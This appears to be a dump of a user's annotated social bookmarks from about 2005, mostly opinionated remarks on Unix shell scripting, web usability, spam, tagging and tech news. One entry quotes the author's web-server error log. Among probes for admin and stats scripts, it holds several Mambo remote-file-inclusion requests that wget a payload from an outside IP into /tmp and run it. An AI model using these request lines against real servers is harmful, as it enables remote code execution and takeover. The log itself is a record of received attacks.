A simple extension to add "open in browser" to the silly "open using external application" dialog in Firefox. (I was planning to implement this myself, duh.)

"Indeed Guido van Rossum of Python has acknowledged that allowing TABs in Python source is a headache for many people and that were he to design Python again, he would forbid them."

A demonstration of encodeURIComponent() and a substitute for older browsers

Most moronic of 2005? Very late in the year, a candidate appears on the scene and challenges all the other moronic events of the year. Go on, visit the page; it's too silly to quote here. The fact that their form letter is only available in M$ Void format speaks volumes. And I would imagine that their use of the wikipedia logo is also a license violation.

Turns out he is the primary perpetrator of Websearch.COM.AU Notice they claim to have been online for more than 10 years. Here's to hoping they won't be for much longer, if spamming is going to remain an important business tactic. Also note the brilliant spelling on the site. Very prefesiunal.

Technical spec, includes cross-reference of several standards Down in the body text, you'll find HTML 4 colors, X11 rgb.txt, and HSL, all with good pointers to more information. Turns out the X11 color chart was copied from an MSDN article, which explains why it's sorted alphabetically rather than in any meaningful order. To add insult to injury, the original MSDN article used to have several versions of the table ... but the useful one is now of course a 404. (I don't understand why I'd even be so optimistic as to click on a link in an MSDN article.)

Linux virtual terminals inside VMware My actual question, which I have puzzled over for a long time, is how do you switch virtual terminals inside vmware? No direct answer here, but maybe some useful things to look for. The answer involves "fixmodmap" but I found no other matches (in spite of what the poster hints about it being a useful search term on the VMware forums). Update: I am told ctrl-alt-space passes through the next keystroke as a corresponding ctrl-alt keystroke.. So ctrl-alt-space F1 is how to press ctrl-alt-F1 inside a vmware client. (Thanks to Tenali.)

Guess how many of these guidelines de.lirio.us violates ...?

Why not to mess with fonts and links, use gratuitous pop-ups, Flash, or IE-only design, etc I'm generally vaguely skeptical of Nielsen's "Alert Box" columns, but this is very focused and to the point, and based on a survey of his readers. Must read for anyone who has or plans to have a web site.

Nielsen pulling percentages out of his hat again "If we were starting from scratch, we might improve the usability of a site by 1% or so by having a navigation rail on the right rather than on the left. But deviating from the standard would almost certainly impose a much bigger cost in terms of confusion and reduced ability to navigate smoothly."

For once, Jakob Nielsen gets it spot-on "For online reading, however, PDF is the monster from the Black Lagoon." -- Jakob Nielsen

Problems with Firefox 1.5/i386 on Ubuntu amd64 The suggested solution almost works, but I had to find a different pangorc because it doesn't exist on my system. I had installed vmware and it includes a pangorc file I could use, so I just edited /opt/firefox/firefox to include export GTK_PATH=/usr/lib32/gtk-2.0/ export PANGO_RC_FILE=/usr/local/lib/vmware/libconf/etc/pango/pangorc

El Reg reader competition - black helicopters all over the place

Classic essay by Vannevar Bush - shared bookmarks predicted in 1945 Oddly prescient, this essay by the father of the U.S. National Science Foundation is deservedly a classic. He speculates about a yet-to-be-invented machine which he calls a "memex" and describes it in a way which sounds a lot like a personal computer. Missing from the picture, but easy to imagine, is the Internet. But the image of scientists making "trails" of annotations and sharing them with each other is closely matched by ... surfers collecting bookmarks, tagging them using ad hoc tags, and sharing them via the internet. The stuff about the "memex" is only towards the end - skip to section 5 if you find the first pages boring. As is my habit, I have linked to the "printer friendly" version of the article. The authoritative location is . There are also various more or less legitimate copies all over the net. Oh, he misspelled "Hollerith". Sorry, couldn't resist noticing.

Po. "häipynyt turhaa ilmaa"

Mark Russinovich exposes the pesky XCP rootkit DRM used by Sony What I find the most amusing is that the vendor who created this rootkit malware apparently included the GNU Lame mp3 library in violation of its LGPL license.

Stupido Records #59 - Music from The Code Stumbled over this in the library yesterday. `/usr/bin/banner 'camp!'` By $dmr, how I wish they hadn't printed the lyrics on the inner sleeve ...

"Because 2005 is 21 years too late."

More on HTTP teergrubing, including a nasty Location: loop I experimentally set up a CGI which feeds stuff from /dev/random at a glacial pace, and ScriptAlias a number of frequently requested security holes to that. Lessee what I have in the trap tomorrow ... obPeeve: The guy could learn how to spell "teergrubing". (The German word "grube" has a long "oo" sound in the middle and a short "uh" sound at the end.) See also http://de.lirio.us/rubric/entry/51442

The Movable Type cover page is annoyingly long but on the other hand it helps you find the nuggets

From the Statistical Modeling, Causal Inference, and Social Science blog

From the Statistical Modeling, Causal Inference, and Social Science blog

If I worked for Diebold and wanted to help republicans win --- I would work harder on usability for machines going to friendly districts

Alistair McDonald's SpamAssassin book, published by Packt Publishing I was browsing through this book, and of course, predictably, the first non-trivial Procmail recipe (page 80) contains an error. Anyway, what's with "Free online edition"? They provide two rather pedestrian chapters as PDFs but the rest of the book is not available on the site as far as I can tell. I'm probably not the target audience so I won't comment on the actual book. It's probably useful if you need to learn to set up a spam filtering gateway from scratch.

Sheesh, people just DO NOT GET password security '"Our policy is that employees safeguard their passwords and access codes so we can ensure privacy and confidentiality for our patients. A violation of that policy can result in termination." Nelson said she knew the policy but says that workers sharing log-ins isn't uncommon.' The woman still wants to appeal her termination.

Dan Cederholm invents a buzzword "While chatting with a friend about the recent influx of smarter web start-ups: “smart-ups!”, I exclaimed, patting myself on the back, and thinking I was the bomb.com. Guess you had to be there." -- Dan Cederholm

"this wasn't a matter of hacking into her phone at all, [instead, they used] a well-known security flaw on T-Mobile's Web site, with which the phone is synchronized" (Sic, the link is to a ".htm" file. The "print friendly" link seems to be broken, otherwise I'd have linked to that as usual.)

Usability guru Jef Raskin died in February of 2005 You'd think THEY would have thought of giving the page a sensible title, but nooo.

"For a successful technology, reality must take precedence over public relations, for nature cannot be fooled." "Official management, on the other hand, claims to believe the probability of failure is a thousand times less. One reason for this may be an attempt to assure the government of NASA perfection and success in order to ensure the supply of funds. The other may be that they sincerely believed it to be true, demonstrating an almost incredible lack of communication between themselves and their working engineers."

"After all, if the conventional wisdom was working, the rate of systems being compromised would be going down, wouldn't it?"

Hilarious Chinese restaurant menu

Psychedelic effect when you stare at it for a while

RepKover is back (never knew it was missing) I was always wondering about that RepKover thing, but never so curious as to actually go google for it. Well, here's a brief illustration, and some links. Another entry which defies sensible de.lirio.us tagging ...

On prior art and the demise of O'Reilly's "anti-patent company" "As it is, patent filings are much more like the 'obfuscated C contest' than they are like anything that improves the world's ability to learn from inventions in exchange for that limited monopoly granted by the patent office." --Tim O'Reilly

"This book does not yet have errata." Ha. Just submitted mine For the record, nothing too serious, just a handful of typos. Update 2005-08-19: Almost two weeks later, still they say it has no errata. Aaah, I get it: they just ignore submissions. Anyway, I'll send them an email and ask. Update 2005-10-29: More than two months later, they have a few entries ... but not mine. I'll send them another email.

Accessible introduction to entropy (code samples in PHP) Other than that, useful and enjoyable.

On how the command line is to a Unix weenie like the keyboard to a pianist "I call this class of interface 'mastery interfaces', and they are curious because they are amazingly unusable to beginners and effortlessly usable to 'experts'. This characteristic creates something of an odd social dynamic amongst the userbase. The experts can barely (if at all) re-acquaint themselves with the frustrations that newbies face, and thus have very few (and skewed) insights on how to make the system more broadly usable."

30 companies, trade groups, academic institutions and professional organizations are announcing today the formation of the OpenDocument Format Alliance

Or actually, Circumstancial Evidence that the Target Audience is the Other End of the Bell Curve With a page title like that, you would perhaps have expected some substance. But, well, all the "scientific evidence" they have is unscientific philosophical quotations from a handful more or mostly less famous scientists.

Swedish KPMG consultant warns about using Excel for annual reports If I understand this correctly, the main problems are lack of coordination and control when everyone is "rolling their own" custom spreadsheet ... an error in a formula somewhere or one of those pesky accidental drag and drops might not be exposed until it's too late. (This is my own take of what he is really saying.)

Guy in Iraq giving out Ubuntu and Knoppix CDs (and doing lots more interesting things) "The main reason for giving away Ubuntu and Knoppix is this: People are using windows because it's what they have. They'll get to know what they have and they'll never change. If you get in on the ground floor, you can help subvert the western dominant paradigm before it's taken hold here. It helps people to recover data, it helps people to remove viruses and if they're willing to run Knoppix, Debian Gnu/Linux or Ubuntu, they're likely to not have virus problems ever again."

(Click on the link, it's too long to paste here)

"Thanks Iran, you've given me cheaper medicine than my own country ever has."

"Normal people don't like evangelists." "If one point is critical to drill in, it is that people who are unfamiliar with open source generally don't like evangelists--at all. This is particularly true for managers who may take the same disdain to evangelists that they take to salespeople and marketers."

The author of dbacl demonstrates n-grams, naive Bayesian machine learning, etc. Yet another example of not very brilliant shell scripting, but the actual substance of the article more than makes up for this.

"Corporations are not evil. That kind of anthropomorphism is inappropriate. Corporations are too stupid to be evil, only people can be that. Corporations are mechanisms."

"I've been saturated with Unix-peanut-gallery effluvia for so long that it no longer even surprises me when every question -- no matter how simple -- results in someone suggesting that you either A) patch your kernel or B) change distros. It's inevitable and inescapable, like Hitler."

jwz on closing "obsolete" bugs "This is, I think, the most common way for my bug reports to open source software projects to ever become closed. I report bugs; they go unread for a year, sometimes two; and then (surprise!) that module is rewritten from scratch -- and the new maintainer can't be bothered to check whether his new version has actually solved any of the known problems that existed in the previous version. I'm so totally impressed at this Way New Development Paradigm. Let's call it the 'Cascade of Attention-Deficit Teenagers' model, or 'CADT' for short. It hardly seems worth even having a bug system if the frequency of from-scratch rewrites always outstrips the pace of bug fixing."

More Murdoch news

Ontology is Overrated: Links, Tags, and Post-hoc Metadata "The problem ontology solves is not how to organize ideas but how to organize things -- the Library of Congress's classification scheme exists not because concepts require consistent hierarchical placement, but because books do."

Ugh, retro site full of typos. Are they helping the CAUCE or harming it?

delirioussitedump back up again (for the time being) The delirioussitedump is back! The dump was performed on Sunday, up through entry #49242. I'll probably start running a daily update next time I have a few minutes to work on this, but for now, that's what's there, hand updated only. Yes, it's officially in YAML now, and it's bz2 compressed. The compressed version is some 2 and a half megs, whereas the uncompressed file is 13 megs (!). Substitute .xml for .yml if you want my ad-hoc XML instead of my ad-hoc YAML version. The uncompressed files are also available, at least for now, although I would vastly prefer that you download the compressed version. See also One of these years I'll also publish some statistics, most popular URLs, etc. (I actually already have this information extracted, just not in a convenient format.)

Just for a quick review, here is the dump I got by scraping the site the other night (and/or day) This is temporary, and will disappear. Soon. It's just for you to comment on before I do the next round (tentatively, I'd do this weekly). Please review the details of the YAML formatting in particular, if you think you know how it should look. *** This is a 770,167-byte file on a slow server [now up to 1,3 Mb]. Don't click if you're impatient. I deleted entry #247 altogether. Other than that, the data is as I got it off the server. I obtained the data by going through the /entry/nnn for each nnn up to number 2519 [now 4259], which for some reason I believe was the highest entry number at the time. Then I extracted the actual data out of the web page for each entry, and converted it to (some sort of) YAML. The /entry/ page doesn't show the modification time, so I don't have that. I have reserved a field for it in the format nevertheless. I also have this in something resembling XML, of course without any formal DTD or anything. Let me know if you think getting that would be more useful (instead, or as well). For the context impaired, the "and/or day" refers to time zone confusion.

"'Therefore, it doesn't fit in on a Beatles' album, you say. 'Within You Without You' tested your patience but this one is just more than you can stand."

/me pontificating on the question being begged Turns out that the linked page is not quite as stupid as the headline makes it seem. But nevertheless, I think it would be good to realize that this is all a question of understanding your audience's needs. Audience: You yourself, or a close-knit group of people. Needs: None you can't handle yourself anyhow. Strategy: Don't bother to tag or organize anything just for the sake of being organized. Audience: Any size. Needs: Data is easy to classify unambiguously. Strategy: Just do that then. Audience: You yourself, or a close-knit group of people. Needs: A significant amount of data but not important or complex enough to spend "real effort" on. Strategy: Come up with some ad-hoc tags, and try to stick to them. Audience: A larger or more diverse group. Needs: Data is hard to classify unambiguously. Strategy: This is not a solved problem, but ontology, controlled language, terminology, taxonomy, etc are some of the strategies we have. It's never wrong to spend more time on using a more advanced strategy than you absolutely need, if somehow you can find the resources to keep on doing that. Needs evolve and it's very hard to upgrade to a better strategy later, so if you can imagine that what you have now might not be sufficient one day, it's a good idea to spend some extra effort now. Who should be responsible for standardizing tags, when that need exists? I don't think that's an important question. When a tag is already in widespread use, and/or likely to be the one your audience will search for, it would be stupid not to use it, though. This can incidentally be generalized to another principle -- if some other categorization system already exists for the data you are tagging, it's likely that you are doing something wrong. (But of course, using tags in parallel with some other system might make sense.) The other mistake to watch out for is whimsical tagging. It scares me to see what tags people use (that includes my own tags, when I revisit them, more often than I like). If you don't know what a tag means, don't use it, or find out more about it.

"Depending on how security-conscious you are, [Symantec] are either making their [email] messages look suspicious or training users to ignore warning signs."

Demonstration of the perils of machine translation Looks like somebody thought Babelfish is probably good enough for production copy. (If you don't read Finnish, don't bother clicking on the link.) Hint (actual Google translate loop translation English -> French -> English): To resemble to somebody thought that Babelfish is probably enough good for the copy of production. ... Actually, upon closer examination, this doesn't look like the result of blind application of machine translation. It looks more like a desperate amateur with a Finnish dictionary but no knowledge of the language. For one thing, simple words like "has" are untranslated in some places. For another, terms are translated inconsequently; in some places, it's "San Frans" [sic] whereas in others they have kept "San Francisco".

Ha ha, again somebody explaining why Clay Shirky is wrong

Why is it that the "printer-friendly" page always looks better than the "real" page?

I typed in "http;//ubuntulinux.com" by mistake, and had a hard time figuring out how I ended up where I did This is all Knoppix' fault. It supplied me with a choice of US, German, or French keyboard, all of which suck for me. (Serves me right for not getting Gnoppix instead. Or, welp, the Ubuntu Live CD, which is what I am downloading now.) ... And partially Firefox's, for having the "I'm feeling lucky" button as the default for Google keywords.

Actually, not Adding bob and suitable quotes to the query yields no results.

Well-written, but sadly short on how to actually turn off HTML in popular email clients

Ironically, the very title of the page puts you off Also, there is no place to report it, or participate in their translation forums, as far as I could quickly tell. And I don't think there will be any incentive to look closer. The "admin" link requires a password so it's clearly not a feedback link, after all (or they are even worse off than I thought)

The only Unicode character you will ever need Actually, U+2611 and U+2612 are good too.

2 of 2 people (100%) found this useful Somebody needs a life. This guy sat up on Christmas day at 04:43 AM to discover this ... gem, which he then sat on for another three months before he would post it where his competition could benefit from his research.

"Precarious people are now the corner-stone of the wealth production process. Notwithstanding this, we are invisible and count for nothing in the traditional forms of social and political representation or in the European agenda."

My egoSurf score: 4446, for whatever it's possibly worth I'm probably not using the optimal search terms and/or URL but who really actually cares?

Ailments of Unsuitable Project-Disoriented Software "The patterns presented here represent abundant solutions that have endured over time. Enjoy reading the patterns, but please don't use them!"

The Pirahã, a Brazilian tribe, cannot count beyond three and their language lacks recursion The comments from readers are outrageous, as usual.

"I will not assume any liability for damage caused from running this code. Especially if you are running it as root. In fact, we both know that this will cause damage to the system, and that's why you want to try it. You have been warned."

Links to links to scientific frauds / bogus conferences Seems fakeconferences.org used to exist, but is gone now. Seems link rot in these circles is really bad -- I guess the fake conferences are still trying to take care of their reputations. Relating to http://de.lirio.us/rubric/entry/4941 and http://de.lirio.us/rubric/entry/51043 I was wondering if HICSS was fake, but I see no evidence to support that. I'm probably just mixing it up with the one the SciGen guys went to, mainly I guess because the title of the conference is so vague.

Fodder for a parental control application - Finnish anorectics site This is roughly as appalling as neo-nazi propaganda and violence pornography, IMHO.

Looks like somebody snatched my picture for marketing ... or, some purposes

You would find that the more Microsoft hired the best minds at the highest salaries, and so forth, the less innovation it got. For a user, there are no substantial changes whatsoever between the various versions of Microsoft Windows. The article is about a Brazilian CEO who decided to give his employees freedom to choose their hours and their tools, with some surprising results like loyalty and efficiency.

Possibly the worst web page ever, "Geocities 1996" I had to hunt around a bit to fully get the joke. The Zen Garden site is a CSS demo, and what Bruce has made is a CSS skin which is being applied to the Zen Garden site. The animated bumblebee is the cat's pajamas.

Pretty impressive demo of Emacs abbrevs GIF animation of a C++ programmer who is an abbrevs power user. (Partly just testament to what sick workarounds you need to write C++ without going even more insane, I suppose.)

Why HTML in email is bad, and what you can do about it All the ASCII Ribbon pages out there seem to be atrocious and amateurish. This is one of the few which is at least "almost there". (With my luck, it will be gone next time I need it.)

Sheesh, you need some Adware Player for their tutorial

"Some design elements on this Web site may render awkwardly if font sizes are changed in browser preferences or if viewed through Internet Explorer, because of its cavalier treatment of HTML and CSS standards"

"You don’t realize it’s happening until your 'About Us' page begins to smell bad and try to bite your face."

robertc's advogato diary

Steal bandwidth from phishers by loading this page Not sure I like the meme, but there it is. By keeping this page open in your browser, you continually add load to (alleged) phishing sites.

Here are mine, too, top 78 from the last few weeks They get extremely boring after this point so I'm cutting off at five or more in the twenty weeks I have error logs from. Maybe you could redirect requests for these to some interesting place. Wink wink. 254 File does not exist: /var/www/xmlrpc.php 149 script not found or unable to stat: /usr/lib/cgi-bin/awstats 146 script not found or unable to stat: /usr/lib/cgi-bin/awstats.pl 142 File does not exist: /var/www/awstats/awstats.pl 132 File does not exist: /var/www/wordpress/xmlrpc.php 132 File does not exist: /var/www/phpgroupware/xmlrpc.php 132 File does not exist: /var/www/drupal/xmlrpc.php 119 File does not exist: /var/www/blog/xmlrpc.php 118 File does not exist: /var/www/blogs/xmlsrv/xmlrpc.php 116 File does not exist: /var/www/blog/xmlsrv/xmlrpc.php 115 File does not exist: /var/www/xmlsrv/xmlrpc.php 115 File does not exist: /var/www/xmlrpc/xmlrpc.php 102 File does not exist: /var/www/MSOffice/cltreq.asp 33 File does not exist: /var/www/mambo/index2.php 33 File does not exist: /var/www/index.php 33 File does not exist: /var/www/index2.php 28 client denied by server configuration: /usr/share/doc/apache-doc 26 File does not exist: /var/www/cvs/index2.php 25 File does not exist: /var/www/modules/Forums/admin/admin_styles.phpadmin_styles.php 24 File does not exist: /var/www/ers/svenska/skriv_fel.html 18 script not found or unable to stat: /usr/lib/cgi-bin/stats 18 File does not exist: /var/www/modules/Forums/admin/admin_styles.php 18 File does not exist: /var/www/modules/coppermine/themes/default/theme.php 17 File does not exist: /var/www/admin_styles.phpadmin_styles.php 16 File does not exist: /var/www/modules/coppermine/themes/default/theme.phptheme.php 16 File does not exist: /var/www/Forums/admin/admin_styles.php 15 File does not exist: /var/www/phpmyadmin/main.php 14 File does not exist: /var/www/web/phpMyAdmin/main.php 14 File does not exist: /var/www/stats/awstats.pl 14 File does not exist: /var/www/PMA/main.php 14 File does not exist: /var/www/phpmyadmin2/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3-rc1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3-pl1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.3/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.2-rc1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.0-pl1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.6.0/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.6/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.4/main.php 14 File does not exist: /var/www/phpMyAdmin-2.5.1/main.php 14 File does not exist: /var/www/phpMyAdmin-2.2.6/main.php 14 File does not exist: /var/www/phpMyAdmin-2.2.3/main.php 14 File does not exist: /var/www/mysql/main.php 14 File does not exist: /var/www/mysqladmin/main.php 14 File does not exist: /var/www/mysql-admin/main.php 14 File does not exist: /var/www/myadmin/main.php 14 File does not exist: /var/www/main.php 14 File does not exist: /var/www/db/main.php 14 File does not exist: /var/www/dbadmin/main.php 14 File does not exist: /var/www//awstats.pl 14 File does not exist: /var/www/admin/pma/main.php 14 File does not exist: /var/www/admin/phpmyadmin/main.php 14 File does not exist: /var/www/admin/mysql/main.php 14 File does not exist: /var/www/admin/main.php 13 request failed: erroneous characters after protocol string: GET /index.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 13 request failed: erroneous characters after protocol string: GET /index2.php?option=com_content&do_pdf=1&id=1index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 13 File does not exist: /var/www/cvs/mambo/index2.php 12 request failed: erroneous characters after protocol string: GET /php/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /cvs/mambo/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 request failed: erroneous characters after protocol string: GET /cvs/index2.php?_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://209.136.48.69/cmd.gif?&cmd=cd%20/tmp;wget%20209.136.48.69/micu;chmod%20744%20micu;./micu;echo%20YYY;echo| HTTP\x01.1 12 File does not exist: /var/www//cgi/stats/awstats.pl 12 File does not exist: /var/www/cgi/awstats.pl 12 File does not exist: /var/www//awstats/awstats.pl 11 File does not exist: /var/www//stats/awstats.pl 11 File does not exist: /var/www//cgi/awstats.pl 9 File does not exist: /var/www/cacti/graph_image.php 8 File does not exist: /var/www/_vti_bin/owssvr.dll 8 File does not exist: /var/www/stats/awstats/awstats.pl 8 File does not exist: /var/www/cgibin/awstats.pl 8 File does not exist: /var/www/cgibin/awstats/awstats.pl 7 File does not exist: /var/www/phpmyadmin/index.php 6 File does not exist: /var/www/stats/cgi-bin/awstats.pl 6 File does not exist: /var/www/siteinfo.xml 6 File does not exist: /var/www/Forums/admin/admin_styles.phpadmin_styles.php 6 File does not exist: /var/www/awstats.pl/awstats.pl 5 File does not exist: /var/www/robotsxx.txt 5 File does not exist: /var/www/articles/mambo/index2.php

Ooo, user tags for the Debian BTS. How ... folksonomic Now that's inspired. And I like the security model. Now if I could only find the time to tag all the bugs I've submitted ...

My wiki.debian.net account / home page

A Windows/Linux/Mac GUI tool for playing around with regular expressions I believe something similar is in the ActiveState Perl IDE, the regex instrumentation part being written by Mark-Jason Dominus. He wrote an article or two about it, too -- I'll try to find it. Update: Turns out there's even a link to it from this very page.

A classic, read it if you haven't "2-3. Wait, what about the 'Buddah'? He spends his time hanging out with Ghandi in New Dheli. Munching on gerkhins, no doubt."

Dr. John on MARID, DKIM, etc "Bad authentication is worse than no authentication because a bad system will sometimes pass bad mail and fail good mail, meaning either that mail gets even less reliable than it is now, or more likely that mail systems only pretend to use it and outsiders end up scratching their heads wondering why it didn't help. (Most of the people who claim to use SPF or Sender-ID are just pretending, the few foolish or deseperate ones that really do reject lots of legit mail.)"

Onneksi on archive.org http://www.elisanet.fi/ringtones/fi/index.php liippaa kyllä läheltä.

Publisher's home page for the book (rather spare) No errata page for this book, so I'll just put mine here. Overall: the crude TeX typesetting and the clumsy placement of the figures makes this seem slightly low-budget. Also, one gets the impression that the author (or editor) didn't spend a lot of time learning TeX, so he had to get by without fancy typesetting tricks such as bulleted lists. The occasional use of both italics and boldface for emphasis also seems a little bit tacky to me, but maybe it's just a matter of taste. But the content is good. This should be required reading for anyone working in software development, even if you're not into scrum proper. Here's my typospotting -- mainly over-use of commas in weird places, particularly around page 120: p31 "them up" repeated p106 s/, you,/ you, p120 s/Goldratt, figured/Goldratt figured p120 s/perspective, are/perspective are p120 s/Senge, from/Senge from p121 s/meeting, and/meeting and p122 table 6.1 cells in last row swapped (-: (The pseudo-sed notation s/one/two means "replace 'one' with 'two'". I occasionally use other sed idioms too, but this parenthesis is too narrow to explain it all.) Ironically, the publisher doesn't know how to write "scrum" properly (it's not an acronym, so writing it in all uppercase is wrong).

How to print out an entire web site This manual failed to tell me that the (in retrospect glaringly obvious) command html2ps -Wb http://path.to/site/start/index.html >/tmp/out.ps will dump an entire document tree into a single PostScript file. Don't do this at home without checking how many pages exactly you ended up with before sending it off to the printer! (Duhh.)

How to make the BSOD screensaver more realistic (gasp) I frickin' don't know how to properly tag this. I wish I had a tag wicked.screensaver.windows.no.linux but I'm reluctant to create one now. Anyway, this is important. The little "copy" link allows you to copy this to your own .lirio. bookmarks.

Python Considered Dangerous

Just happens to be my birthday

Couldn't help noticing the shell scripting again ... Okay, here is a blog by blow of the snappy shell script. > #!/bin/bash Yeah, well, it can be tolerated. The script actually contains a couple of bashisms, although they could be avoided; and anyway, if you are on Ubuntu, you are, shall we say, fairly likely to have a copy of Bash on your system. > a=`ps -aef | grep -i xcompmgr | awk ' {if ($8 == "xcompmgr"){printf "2"}} '` Argh. Here's how to do that. a=`ps -aeof | awk '($8 == "xcompmgr") { printf "2" }'` I suspect the "2" was supposed to be "$2" but it doesn't matter here, because the result is thrown away ... Also I suspect the guy didn't know about print so that's why he used printf; not that it matters much. > if [[ $a = "" ]] > then So here's the bashism. You just have to wonder if it's necessary. The classical Bourne idiom for this would be to use case (or test, but it was an external process in historical times, so case is preferred): case $a in '') <> ;; *) <>;; esac More below. > yourcommand & > killall gnome-panel I'm sure if you have other users on your system they will not be happy if you kill their gnome-panels. Let's just hope you don't run this as root by mistake. Fixing this is left as an exercise. (Hint: Use less obtuse ps options to get a listing only of your own processes -- makes sense for other reasons too. And/or run another ps to get the PIDs of your gnome-panels and only yours. And/or abort if you are running as root.) > else > kill -9 `ps -aef | grep -i xcomp | awk ' {if ($8 == "xcompmgr"){printf $2}} '` > killall gnome-panel > fi Erm, so here we do the nasty "ps | did not read the faq so kill me" again? Again? Why not use the result in $a from the previous run? (Ah, because it was incompetently discarded?) Also, never never ever use kill -9 in a script unless you really really know what you are doing. We assume that the guy got tired of copy-pasting his own code (always a sign of a high level of goodness) and that the grep xcomp (pro grep xcompmgr) is not there for any particular reason. kill $a If you kill gnome-panel regardless of the outcome of the if/else, why do you have it twice inside the if, instead of once, outside?

The most incompetently coded piece of shell script I have seen in a long time If it works for you, good. I would have serious trouble trusting anything from a person who cannot spell "you", let alone grep a file without catting it first. Adding insult to injury, the comments talk about "GPL" and "trademark" (I assume incorrectly) in the same breath. Still, if you can look at the source without gagging for a moment, it contains some useful hints for things to install.

Adding "irqpoll" seems to sort it out I stumbled into this when upgrading from Ubuntu Hoary to Breezy. All of a sudden, my CardBus adapter stopped working. This isn't a screen issue; I don't even run X, let alone gdm, on this box. I tried different things like a crazed monkey for several days until I tried a lucky combination of the irqpoll kernel argument and ... I think a particular card -- the ones I dare not try again are a DWL-650+ wireless card and an Intel e100 ethernet card; the one I managed to get to work is a 3com 3c59x, identified as "3CCFE575BT" by cardctl ident. Update: I posted a bug report about this:

"This site requires Microsoft Windows 98, NT, 2000, XP, or 2003. Browsers supported include Internet Explorer V5.01 or later, and AOL V6.0 or later."

Bias? What bias? Seriously, if Murdoch is concerned, that is good news. "[The web] is a creative, destructive, technology that is still in its infancy, yet breaking and remaking everything in its path." -- Rupert Murdoch